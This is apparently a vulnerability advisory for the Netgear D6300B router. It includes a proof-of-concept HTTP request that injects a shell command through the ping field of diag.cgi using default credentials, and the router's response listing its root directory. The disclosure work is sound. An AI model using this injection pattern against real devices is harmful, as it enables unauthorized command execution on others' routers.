source: https://www.securityfocus.com/bid/65444/info

The Netgear D6300B router is prone to the following security vulnerabilities:

1. Multiple unauthorized-access vulnerabilities
2. A command-injection vulnerability
3. An information disclosure vulnerability

An attacker can exploit these issues to gain access to potentially sensitive information, execute arbitrary commands in the context of the affected device, and perform unauthorized actions. Other attacks are also possible.

Netgear D6300B 1.0.0.14_1.0.14 is vulnerable; other versions may also be affected. 

######## REQUEST: #########
###########################
POST /diag.cgi?id=991220771 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/DIAG_diag.htm
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

ping=Ping&IPAddr1=192&IPAddr2=168&IPAddr3=0&IPAddr4=1;ls&host_name=&ping_IPAddr=192.168.0.1


######## RESPONSE: ########
###########################
HTTP/1.0 200 OK
Content-length: 6672
Content-type: text/html; charset="UTF-8"
Cache-Control:no-cache
Pragma:no-cache

<!DOCTYPE HTML>
<html>
[...]
<textarea name="ping_result" class="num" cols="60" rows="12" wrap="off" readonly>
bin
cferam.001
data
dev
etc
include
lib
linuxrc
mnt
opt

&lt;/textarea&gt;
[...]